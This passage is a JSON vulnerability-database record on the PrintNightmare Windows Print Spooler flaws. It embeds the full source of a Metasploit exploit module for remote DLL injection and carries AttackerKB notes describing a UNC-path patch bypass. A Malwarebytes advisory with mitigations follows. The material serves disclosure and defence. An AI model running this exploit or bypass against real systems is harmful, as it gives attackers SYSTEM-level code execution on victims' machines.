"hivepro", "title": "Emergency patches have been released by Microsoft for PrintNightmare", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-08T13:50:55", "id": "HIVEPRO:E7E537280075DE5C0B002F1AF44BE1C5", "href": "https://www.hivepro.com/emergency-patches-have-been-released-by-microsoft-for-printnightmare/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2022-05-25T15:25:18", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-05-25T00:00:00", "type": "packetstorm", "title": "Print Spooler Remote DLL Injection", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-05-25T00:00:00", "id": "PACKETSTORM:167261", "href": "https://packetstormsecurity.com/files/167261/Print-Spooler-Remote-DLL-Injection.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'windows_error' \nrequire 'ruby_smb' \nrequire 'ruby_smb/error' \n \nclass MetasploitModule < Msf::Exploit::Remote \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::Remote::DCERPC \ninclude Msf::Exploit::Remote::SMB::Client::Authenticated \ninclude Msf::Exploit::Remote::SMB::Server::Share \ninclude Msf::Exploit::Retry \ninclude Msf::Exploit::EXE \ninclude Msf::Exploit::Deprecated \n \nmoved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare' \n \nPrintSystem = RubySMB::Dcerpc::PrintSystem \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Print Spooler Remote DLL Injection', \n'Description' => %q{ \nThe print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted \nDCERPC request, resulting in remote code execution as NT AUTHORITY\\SYSTEM. This module uses the MS-RPRN \nvector which requires the Print Spooler service to be running. \n}, \n'Author' => [ \n'Zhiniang Peng', # vulnerability discovery / research \n'Xuefeng Li', # vulnerability discovery / research \n'Zhipeng Huo', # vulnerability discovery \n'Piotr Madej', # vulnerability discovery \n'Zhang Yunhai', # vulnerability discovery \n'cube0x0', # PoC \n'Spencer McIntyre', # metasploit module \n'Christophe De La Fuente', # metasploit module co-author \n], \n'License' => MSF_LICENSE, \n'DefaultOptions' => { \n'SRVHOST' => Rex::Socket.source_address \n}, \n'Stance' => Msf::Exploit::Stance::Aggressive, \n'Targets' => [ \n[ \n'Windows', { \n'Platform' => 'win', \n'Arch' => [ ARCH_X64, ARCH_X86 ] \n}, \n], \n], \n'DisclosureDate' => '2021-06-08', \n'References' => [ \n['CVE', '2021-1675'], \n['CVE', '2021-34527'], \n['URL', 'https://github.com/cube0x0/CVE-2021-1675'], \n['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'], \n['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'], \n['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream'] \n], \n'Notes' => { \n'AKA' => [ 'PrintNightmare' ], \n'Stability' => [CRASH_SERVICE_DOWN], \n'Reliability' => [UNRELIABLE_SESSION], \n'SideEffects' => [ \nARTIFACTS_ON_DISK # the dll will be copied to the remote server \n] \n} \n) \n) \n \nregister_advanced_options( \n[ \nOptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ]) \n] \n) \nderegister_options('AutoCheck') \nend \n \ndef check \nbegin \nconnect(backend: :ruby_smb) \nrescue Rex::ConnectionError \nreturn Exploit::CheckCode::Unknown('Failed to connect to the remote service.') \nend \n \nbegin \nsmb_login \nrescue Rex::Proto::SMB::Exceptions::LoginError \nreturn Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.') \nend \n \nbegin \ndcerpc_bind_spoolss \nrescue RubySMB::Error::UnexpectedStatusCode => e \nnt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first \nif nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND \nprint_error(\"The 'Print Spooler' service is disabled.\") \nend \nreturn Exploit::CheckCode::Safe(\"The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).\") \nend \n \n@target_arch = dcerpc_getarch \n# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43 \nif @target_arch == ARCH_X64 \n@environment = 'Windows x64' \nelsif @target_arch == ARCH_X86 \n@environment = 'Windows NT x86' \nelse \nreturn Exploit::CheckCode::Detected('Successfully bound to the remote service.') \nend \n \nprint_status(\"Target environment: Windows v#{simple.client.os_version} (#{@target_arch})\") \n \nprint_status('Enumerating the installed printer drivers...') \ndrivers = enum_printer_drivers(@environment) \n@driver_path = \"#{drivers.driver_path.rpartition('\\\\').first}\\\\UNIDRV.DLL\" \nvprint_status(\"Using driver path: #{@driver_path}\") \n \nprint_status('Retrieving the path of the printer driver directory...') \n@config_directory = get_printer_driver_directory(@environment) \nvprint_status(\"Using driver directory: #{@config_directory}\") unless @config_directory.nil? \n \ncontainer = driver_container( \np_config_file: 'C:\\\\Windows\\\\System32\\\\kernel32.dll', \np_data_file: \"\\\\??\\\\UNC\\\\127.0.0.1\\\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll\" \n) \n \ncase add_printer_driver_ex(container) \nwhen nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code \nreturn Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.') \nwhen ::WindowsError::Win32::ERROR_PATH_NOT_FOUND \nreturn Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.') \nwhen ::WindowsError::Win32::ERROR_BAD_NET_NAME \nreturn Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.') \nwhen ::WindowsError::Win32::ERROR_ACCESS_DENIED \nreturn Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.') \nend \n \nExploit::CheckCode::Detected('Successfully bound to the remote service.') \nend \n \ndef run \nfail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64 \nfail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil? \nfail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil? \n \nsuper \nend \n \ndef setup \nif Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 \nfail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') \nend \n \nsuper \nend \n \ndef start_service \nfile_name << '.dll' \nself.file_contents = generate_payload_dll \n \nsuper \nend \n \ndef primer \ndll_path = unc \nif dll_path =~ /^\\\\\\\\([\\w:.\\[\\]]+)\\\\(.*)$/ \n# targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass \n# otherwise the operation will fail with ERROR_INVALID_PARAMETER \ndll_path = \"\\\\??\\\\UNC\\\\#{Regexp.last_match(1)}\\\\#{Regexp.last_match(2)}\" \nend \nvprint_status(\"Using DLL path: #{dll_path}\") \n \nfilename = dll_path.rpartition('\\\\').last \ncontainer = driver_container(p_config_file: 'C:\\\\Windows\\\\System32\\\\kernel32.dll', p_data_file: dll_path) \n \n3.times do \nadd_printer_driver_ex(container) \nend \n \n1.upto(3) do |directory| \ncontainer.driver_info.p_config_file.assign(\"#{@config_directory}\\\\3\\\\old\\\\#{directory}\\\\#{filename}\") \nbreak if add_printer_driver_ex(container).nil? \nend \n \ncleanup_service \nend \n \ndef driver_container(**kwargs) \nPrintSystem::DriverContainer.new( \nlevel: 2, \ntag: 2, \ndriver_info: PrintSystem::DriverInfo2.new( \nc_version: 3, \np_name_ref_id: 0x00020000, \np_environment_ref_id: 0x00020004, \np_driver_path_ref_id: 0x00020008, \np_data_file_ref_id: 0x0002000c, \np_config_file_ref_id: 0x00020010, \n# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913 \np_name: \"#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}\", \np_environment: @environment, \np_driver_path: @driver_path, \n**kwargs \n) \n) \nend \n \ndef dcerpc_bind_spoolss \nhandle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\\\spoolss']) \nvprint_status(\"Binding to #{handle} ...\") \ndcerpc_bind(handle) \nvprint_status(\"Bound to #{handle} ...\") \nend \n \ndef enum_printer_drivers(environment) \nresponse = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2) \nresponse = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed) \nfail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length \nDriverInfo2.read(response.p_drivers.map(&:chr).join) \nend \n \ndef get_printer_driver_directory(environment) \nresponse = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2) \nresponse = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed) \nfail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length \nRubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT') \nend \n \ndef add_printer_driver_ex(container) \nflags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES \n \nbegin \nresponse = rprn_call('RpcAddPrinterDriverEx', p_name: \"\\\\\\\\#{datastore['RHOST']}\", p_driver_container: container, dw_file_copy_flags: flags) \nrescue RubySMB::Error::UnexpectedStatusCode => e \nnt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first \nmessage = \"Error #{nt_status.name} (#{nt_status.description})\" \nif nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN \n# STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected \nprint_status('The named pipe connection was broken, reconnecting...') \nreconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do \ndcerpc_bind_spoolss \nrescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e \nfalse \nelse \ntrue \nend \n \nunless reconnected \nvprint_status('Failed to reconnect to the named pipe.') \nreturn nil \nend \n \nprint_status('Successfully reconnected to the named pipe.') \nretry \nelse \nprint_error(message) \nend \n \nreturn nt_status \nend \n \nerror = ::WindowsError::Win32.find_by_retval(response.error_status.value).first \nmessage = \"RpcAddPrinterDriverEx response #{response.error_status}\" \nmessage << \" #{error.name} (#{error.description})\" unless error.nil? \nvprint_status(message) \nerror \nend \n \ndef rprn_call(name, **kwargs) \nrequest = PrintSystem.const_get(\"#{name}Request\").new(**kwargs) \n \nbegin \nraw_response = dcerpc.call(request.opnum, request.to_binary_s) \nrescue Rex::Proto::DCERPC::Exceptions::Fault => e \nfail_with(Failure::UnexpectedReply, \"The #{name} Print System RPC request failed (#{e.message}).\") \nend \n \nPrintSystem.const_get(\"#{name}Response\").read(raw_response) \nend \n \nclass DriverInfo2Header < BinData::Record \nendian :little \n \nuint32 :c_version \nuint32 :name_offset \nuint32 :environment_offset \nuint32 :driver_path_offset \nuint32 :data_file_offset \nuint32 :config_file_offset \nend \n \n# this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2 \n# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030 \nDriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do \ndef self.read(data) \nheader = DriverInfo2Header.read(data) \nnew( \nheader, \nRubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'), \nRubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'), \nRubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'), \nRubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'), \nRubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT') \n) \nend \nend \nend \n`\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/167261/cve_2021_1675_printnightmare.rb.txt"}], "attackerkb": [{"lastseen": "2022-11-20T20:03:17", "description": "Windows Print Spooler Elevation of Privilege Vulnerability\n\n \n**Recent assessments:** \n \n**kevthehermit** at June 30, 2021 1:53pm UTC reported:\n\n#### Vulnerability\n\nThis was originally classified as a Local Priv Escalation, however recent POC code has been released that enabled a domain authenticated user to remotely escalate to `SYSTEM` on vulnerable services\n\n#### Exploit Code\n\nThere are several functional exploits available on Github after the initial repository was removed by the authors.\n\n * <https://github.com/afwu/PrintNightmare> \u2013 A windows binary exploit \n\n * <https://github.com/cube0x0/CVE-2021-1675> \u2013 Python3 using a modified version of impacket \n\n\n#### Mitigation\n\nInitial testing shows that the patches released are not sufficient to stop this exploit. It has been tested in Server 2016 and Server 2019.\n\nDisable the print spooler can prevent exploitation.\n\nEvent logs can be found for both successful and non-successful exploit attempts in some situations.\n\nSigma rules can be found: <https://github.com/SigmaHQ/sigma/pull/1592>\n\n**andretorresbr** at July 02, 2021 2:37am UTC reported:\n\n#### Vulnerability\n\nThis was originally classified as a Local Priv Escalation, however recent POC code has been released that enabled a domain authenticated user to remotely escalate to `SYSTEM` on vulnerable services\n\n#### Exploit Code\n\nThere are several functional exploits available on Github after the initial repository was removed by the authors.\n\n * <https://github.com/afwu/PrintNightmare> \u2013 A windows binary exploit \n\n * <https://github.com/cube0x0/CVE-2021-1675> \u2013 Python3 using a modified version of impacket \n\n\n#### Mitigation\n\nInitial testing shows that the patches released are not sufficient to stop this exploit. It has been tested in Server 2016 and Server 2019.\n\nDisable the print spooler can prevent exploitation.\n\nEvent logs can be found for both successful and non-successful exploit attempts in some situations.\n\nSigma rules can be found: <https://github.com/SigmaHQ/sigma/pull/1592>\n\n**architect00** at July 01, 2021 1:46pm UTC reported:\n\n#### Vulnerability\n\nThis was originally classified as a Local Priv Escalation, however recent POC code has been released that enabled a domain authenticated user to remotely escalate to `SYSTEM` on vulnerable services\n\n#### Exploit Code\n\nThere are several functional exploits available on Github after the initial repository was removed by the authors.\n\n * <https://github.com/afwu/PrintNightmare> \u2013 A windows binary exploit \n\n * <https://github.com/cube0x0/CVE-2021-1675> \u2013 Python3 using a modified version of impacket \n\n\n#### Mitigation\n\nInitial testing shows that the patches released are not sufficient to stop this exploit. It has been tested in Server 2016 and Server 2019.\n\nDisable the print spooler can prevent exploitation.\n\nEvent logs can be found for both successful and non-successful exploit attempts in some situations.\n\nSigma rules can be found: <https://github.com/SigmaHQ/sigma/pull/1592>\n\n**NinjaOperator** at June 29, 2021 5:55pm UTC reported:\n\n#### Vulnerability\n\nThis was originally classified as a Local Priv Escalation, however recent POC code has been released that enabled a domain authenticated user to remotely escalate to `SYSTEM` on vulnerable services\n\n#### Exploit Code\n\nThere are several functional exploits available on Github after the initial repository was removed by the authors.\n\n * <https://github.com/afwu/PrintNightmare> \u2013 A windows binary exploit \n\n * <https://github.com/cube0x0/CVE-2021-1675> \u2013 Python3 using a modified version of impacket \n\n\n#### Mitigation\n\nInitial testing shows that the patches released are not sufficient to stop this exploit. It has been tested in Server 2016 and Server 2019.\n\nDisable the print spooler can prevent exploitation.\n\nEvent logs can be found for both successful and non-successful exploit attempts in some situations.\n\nSigma rules can be found: <https://github.com/SigmaHQ/sigma/pull/1592>\n\n**ccondon-r7** at July 01, 2021 1:43pm UTC reported:\n\n#### Vulnerability\n\nThis was originally classified as a Local Priv Escalation, however recent POC code has been released that enabled a domain authenticated user to remotely escalate to `SYSTEM` on vulnerable services\n\n#### Exploit Code\n\nThere are several functional exploits available on Github after the initial repository was removed by the authors.\n\n * <https://github.com/afwu/PrintNightmare> \u2013 A windows binary exploit \n\n * <https://github.com/cube0x0/CVE-2021-1675> \u2013 Python3 using a modified version of impacket \n\n\n#### Mitigation\n\nInitial testing shows that the patches released are not sufficient to stop this exploit. It has been tested in Server 2016 and Server 2019.\n\nDisable the print spooler can prevent exploitation.\n\nEvent logs can be found for both successful and non-successful exploit attempts in some situations.\n\nSigma rules can be found: <https://github.com/SigmaHQ/sigma/pull/1592>\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-08T00:00:00", "type": "attackerkb", "title": "CVE-2021-1675", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-08T00:00:00", "id": "AKB:CDA9C43E-015D-4B04-89D3-D6CABC5729B9", "href": "https://attackerkb.com/topics/dI1bxlM0ay/cve-2021-1675", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-12-11T20:11:08", "description": "Windows Print Spooler Remote Code Execution Vulnerability\n\n \n**Recent assessments:** \n \n**zeroSteiner** at July 08, 2021 5:09pm UTC reported:\n\nCVE-2021-34527 is related to the previous CVE-2021-1675. This fixes a vulnerability whereby an authenticated attacker can connect to the remote print service (via either MS-RPRN or MS-PAR) and add a driver using a custom DLL. Upon successful exploitation, the Print Spool service would load the attacker controlled DLL from either a remote UNC path or a local path. In both cases, the DLL is then executed with NT AUTHORITY\\SYSTEM privileges.\n\nThe patch for CVE-2021-34527 is effective at preventing this attack **only when Point and Print** is disabled, which is the default setting. This can be configured by ensuring the registry key `HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint NoWarningNoElevationOnInstall` is 0. The system does not need to be rebooted to enforce the changed registry key. If that registry key is defined as 1, the vulnerability can still be exploited. With Point and Print enabled, a standard UNC path used over the MS-RPRN vector (via `RpcAddPrinterDriverEx`) will fail with `ERROR_INVALID_PARAMETER`. This can be bypassed by converting the UNC path from the standard syntax (`\\\\1.2.3.4\\public\\payload.dll`) to the alternative syntax (`\\??\\UNC\\1.2.3.4\\public\\payload.dll`).\n\nWith the patches applied and Point and Print disabled, the affected calls to `RpcAddPrinterDriverEx` will return ERROR_ACCESS_DENIED.\n\n**ccondon-r7** at July 08, 2021 12:12am UTC reported:\n\nCVE-2021-34527 is related to the previous CVE-2021-1675. This fixes a vulnerability whereby an authenticated attacker can connect to the remote print service (via either MS-RPRN or MS-PAR) and add a driver using a custom DLL. Upon successful exploitation, the Print Spool service would load the attacker controlled DLL from either a remote UNC path or a local path. In both cases, the DLL is then executed with NT AUTHORITY\\SYSTEM privileges.\n\nThe patch for CVE-2021-34527 is effective at preventing this attack **only when Point and Print** is disabled, which is the default setting. This can be configured by ensuring the registry key `HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint NoWarningNoElevationOnInstall` is 0. The system does not need to be rebooted to enforce the changed registry key. If that registry key is defined as 1, the vulnerability can still be exploited. With Point and Print enabled, a standard UNC path used over the MS-RPRN vector (via `RpcAddPrinterDriverEx`) will fail with `ERROR_INVALID_PARAMETER`. This can be bypassed by converting the UNC path from the standard syntax (`\\\\1.2.3.4\\public\\payload.dll`) to the alternative syntax (`\\??\\UNC\\1.2.3.4\\public\\payload.dll`).\n\nWith the patches applied and Point and Print disabled, the affected calls to `RpcAddPrinterDriverEx` will return ERROR_ACCESS_DENIED.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-02T00:00:00", "type": "attackerkb", "title": "CVE-2021-34527 \"PrintNightmare\"", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-05-25T00:00:00", "id": "AKB:7575B82F-7B7A-4416-B1AA-B8A2DF4D0800", "href": "https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "malwarebytes": [{"lastseen": "2021-07-08T08:32:20", "description": "In a rush to be the first to publish a proof-of-concept (PoC), researchers have published a write-up and a demo exploit to demonstrate a vulnerability that has been dubbed PrintNightmare. Only to find out they had alerted the world to a new 0-day vulnerability by accident.\n\n### What happened?\n\nIn June, Microsoft patched a vulnerability in the Windows Print Spooler that was listed as [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>). At first it was classified as an elevation of privilege (EoP) vulnerability. Which means that someone with limited access to a system could raise their privilege level, giving them more power over the affected system. This type of vulnerability is serious, especially when it is found in a widely used service like the Windows Print Spooler. A few weeks after the patch Microsoft raised the level of seriousness to a remote code execution (RCE) vulnerability. RCE vulnerabilities allow a malicious actor to execute their code on a different machine on the same network.\n\nAs per [usual](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/06/microsoft-fixes-seven-zero-days-including-two-puzzlemaker-targets-google-fixes-serious-android-flaw/>), the general advice was to install the patches from Microsoft and you\u2019re done. Fast forward another week and a researcher announced he&#x27;d found a way to exploit the vulnerability to achieve both local privilege escalation and remote code execution. This actually happens a lot when researchers reverse engineer a patch.\n\nOnly in this case it had an unexpected consequence. A different team of researchers had also found an RCE vulnerability in the Print Spooler service. They called theirs PrintNightmare and believed it was the same as CVE-2021-1675. They were working on a presentation to be held at the Black Hat security conference. But now they feared that the other team had stumbled over the same vulnerability, so they published their work, believing it was covered by the patch already released by Microsoft.\n\nBut the patch for CVE-2021-1675 didn&#x27;t seem to work against the PrintNightmare vulnerability. It appeared that PrintNightmare and CVE-2021-1675 were in fact two very similar but different vulnerabilities in the Print Spooler.\n\nAnd with that, it looked as if the PrintNightmare team had, unwittingly, disclosed a new 0-day vulnerability irresponsibly. (Disclosure of vulnerabilities is considered responsible if a vendor is given enough time to issue a patch.)\n\nSince then, some security researchers have argued that CVE-2021-1675 and PrintNightmare are the same, and others have reported that the CVE-2021-1675 patch works on _some_ systems.\n\n> [#PrintNightmare](<https://twitter.com/hashtag/PrintNightmare?src=hash&ref_src=twsrc%5Etfw>) / CVE-2021-1675 - It appears patches might be effective on systems that are not domain controllers. RpcAddPrinterDriverEx call as non-admin fails with access denied against fully patched Server 2016 and 2019 non-DC, but after dcpromo the exploit works again. \n [pic.twitter.com/USetUXUzXN](<https://t.co/USetUXUzXN>)\n> \n> -- Stan Hegt (@StanHacked) [July 1, 2021](<https://twitter.com/StanHacked/status/1410405688766042115?ref_src=twsrc%5Etfw>)\n\nWhether they are the same or not, what is not in doubt is that there are live Windows systems where PrintNightmare cannot be patched. And unfortunately, it seems that the systems where the patch doesn&#x27;t work are Windows Domain Controllers, which is very much the worst case scenario. \n\n### PrintNightmare\n\nThe Print Spooler service is embedded in the Windows operating system and manages the printing process. It is running by default on most Windows machines, including Active Directory servers.\n\nIt handles preliminary functions of finding and loading the print driver, creating print jobs, and then ultimately printing. This service has been around \u201cforever\u201d and it has been a fruitful hunting ground for vulnerabilities, with many flaws being found and fixed over the years. Remember [Stuxnet](<https://blog.malwarebytes.com/threat-analysis/2013/11/stuxnet-new-light-through-old-windows/>)? Stuxnet also exploited a vulnerability in the Print Spooler service as part of the set of vulnerabilities the worm used to spread.\n\nPrintNightmare can be triggered by an unprivileged user attempting to load a malicious driver remotely. Using the vulnerability, researchers have been able to gain SYSTEM privileges, and achieved remote code execution with the highest privileges on a fully patched system.\n\nTo exploit the flaw, attackers would first have to gain access to a network with a vulnerable machine. Although this provides some measure of protection, it is worth noting that there are underground markets where criminals can purchase this kind of access for a few dollars.\n\nIf they can secure any kind of access, they can potentially use PrintNightmare to turn a normal user into an all-powerful Domain Admin. As a Domain Admin they could then act almost with impunity, spreading ransomware, deleting backups and even disabling security software.\n\n### Mitigation\n\nConsidering the large number of machines that may be vulnerable to PrintNightmare, and that several methods to exploit the vulnerability have been published, it seems likely there will soon be malicious use-cases for this vulnerability.\n\nThere are a few things you can do until the vulnerability is patched. Microsoft will probably try to patch the vulnerability before next patch Tuesday (July 12), but until then you can:\n\n * Disable the Print Spooler service on machines that do not need it. Please note that stopping the service without disabling may not be enough.\n * For the systems that do need the Print Spooler service to be running make sure they are not exposed to the internet.\n\nI realize the above will not be easy or even feasible in every case. For those machines that need the Print Spooler service and also need to be accessible from outside the LAN, very carefully limit and [monitor](<https://support.malwarebytes.com/hc/en-us/articles/360056829274-Configure-Brute-Force-Protection-in-Malwarebytes-Nebula>) access events and permissions. Also at all costs avoid running the Print Spooler service on any domain controllers.\n\nFor further measures it is good to know that the exploit works by dropping a DLL in a subdirectory under C:\\Windows\\System32\\spool\\drivers, so system administrators can create a \u201cDeny to modify\u201d rule for that directory and its subdirectories so that even the SYSTEM account can not place a new DLL in them.\n\nThis remains a developing situation and we will update this article if more information becomes available.\n\n### Update July 2, 2021\n\nMicrosoft acknowledged this vulnerability and it has been assigned [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). In their description Microsoft also provides an extra workaround besides disabling the Print Spooler service.\n\n**Disable inbound remote printing through Group Policy**\n\nYou can also configure the settings via Group Policy as follows:\n\n * Computer Configuration / Administrative Templates / Printers\n * Disable the \u201cAllow Print Spooler to accept client connections:\u201d policy to block remote attacks.\n\n**Impact of workaround** This policy will block the remote attack vector by preventing inbound remote printing operations. The system will no longer function as a print server, but local printing to a directly attached device will still be possible.\n\nThe post [PrintNightmare 0-day can be used to take over Windows domain controllers](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/printnightmare-0-day-can-be-used-to-take-over-windows-domain-controllers/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": 